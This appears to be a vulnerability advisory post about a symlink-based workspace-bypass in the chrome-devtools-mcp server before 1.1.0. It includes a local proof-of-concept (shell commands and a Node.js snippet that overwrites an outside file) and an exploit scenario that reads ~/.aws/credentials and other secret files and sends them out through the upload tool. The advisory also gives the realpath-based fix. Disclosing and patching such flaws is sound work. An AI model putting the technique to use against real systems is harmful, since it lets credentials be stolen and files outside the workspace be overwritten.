Listen to this Post
The vulnerability resides in the `McpContext.validatePath()` method of the chrome-devtools-mcp server, which enforces workspace root restrictions. The function uses `path.resolve()` to resolve a given file path against a list of configured workspace roots, checking if the resolved absolute path starts with any root path. However, `path.resolve()` performs only textual normalization (e.g., resolving `.` and ..) and does not canonicalize symbolic links. Consequently, a symbolic link placed inside a workspace root that points to a file outside that root will have its textual path still beginning with the root prefix, thereby passing the validation check. Downstream file operations—such as `saveFile()` (using fs.writeFile), `upload_file` (via Puppeteer’s file upload), and several other tools like screenshots, heap snapshots, and network response saves—directly perform filesystem operations without `O_NOFOLLOW` or additional canonicalization. This allows an attacker to read or write arbitrary files reachable via symlink, bypassing the intended workspace boundary.
The issue is not a TOCTOU race: the symlink exists prior to validation, and the proof-of-concept demonstrates a single-process flow. Preconditions require that the MCP client declares the `roots` capability with at least one workspace root, and that a suitable symlink exists inside that root pointing outside. A remote attacker can exploit this if such a symlink is already present (e.g., created by another trusted workflow) or can be induced; otherwise, local access is needed to create the symlink. The impact includes overwriting sensitive files (integrity) and exfiltrating their contents via `upload_file` to a web page (confidentiality). The official fix, implemented in version 1.1.0, replaces the naive textual check with an asynchronous canonicalization using `fs.realpath()` on both the target path (or its parent if the file does not exist) and each workspace root, ensuring that symlinks are resolved before comparison.
DailyCVE Form:
Platform: chrome-devtools-mcp
Version: <1.1.0
Vulnerability: Path Traversal Bypass
Severity: Moderate
date: 2026-08-18
Prediction: Already patched (v1.1.0)
What Undercode Say:
Analytics and reproduction commands/code:
Create a lab environment to demonstrate the bypass
mkdir -p /tmp/cdt-lab/workspace
echo "sensitive outside content" > /tmp/cdt-lab/outside-secret.txt
ln -s /tmp/cdt-lab/outside-secret.txt /tmp/cdt-lab/workspace/innocent.txt
Node.js snippet replicating the validation logic and write
node -e "
const path = require('path');
const fs = require('fs');
const os = require('os');
const { pathToFileURL, fileURLToPath } = require('url');
const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));
fs.chmodSync(lab, 0o755);
const workspace = path.join(lab, 'workspace');
fs.mkdirSync(workspace);
const outside = path.join(lab, 'outside-secret.txt');
fs.writeFileSync(outside, 'sensitive outside content\n');
const symlinkInside = path.join(workspace, 'innocent.txt');
fs.symlinkSync(outside, symlinkInside);
function validatePath(filePath, roots) {
const absolutePath = path.resolve(filePath);
for (const root of roots) {
const rootPath = path.resolve(fileURLToPath(root.uri));
if (absolutePath === rootPath || absolutePath.startsWith(rootPath + path.sep)) {
return true;
}
}
throw new Error('Access denied: ' + filePath);
}
const roots = [{ uri: pathToFileURL(workspace).href, name: 'workspace' }];
validatePath(symlinkInside, roots);
fs.writeFileSync(symlinkInside, 'OVERWRITTEN BY MCP\n');
console.log(fs.readFileSync(outside, 'utf8')); // shows overwritten content
"
Exploit: (Educational Purposes!)
The exploit relies on an existing symlink inside a workspace root. An attacker with the ability to create such a symlink (or leverage an existing one) can call any filePath‑accepting tool (e.g., upload_file, save_file, take_screenshot, etc.) with the symlink’s path. The validation passes because the textual path starts with the root prefix, but the underlying filesystem operation follows the symlink and acts on the out‑of‑root target. For example, if the symlink points to ~/.aws/credentials, invoking `upload_file` with that path will read the credentials and send them to the page’s file input, exfiltrating them via the browser. The same technique can overwrite sensitive files when using write operations like save_file.
Protection:
- Upgrade to chrome-devtools-mcp version 1.1.0 or later, where the fix is applied.
- If patching is not immediately possible, avoid using the server in environments where untrusted symlinks may exist, or restrict file system permissions to prevent creation of symlinks inside workspace roots.
- The correct fix, as implemented, replaces `validatePath` with an `async` version that uses `fs.realpath()` to canonicalize the target path (and its parent for non‑existent files) and each workspace root before performing the prefix check.
Impact:
- Confidentiality: `upload_file` can read any file reachable via a symlink (e.g., cloud credentials, SSH keys, project secrets, configuration files) and attach it to a web page, exfiltrating its content.
- Integrity: Write‑capable tools can overwrite files outside the workspace, corrupting system or application data.
- Stealth: The exfiltration occurs through normal file‑upload behavior, and the server does not log the canonical path, making detection difficult.
- Affected files: typical targets include
~/.aws/credentials,~/.config/gcloud/,~/.ssh/id_rsa,.env,.npmrc,.netrc,secrets.json, and any out‑of‑workspace source or configuration files.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
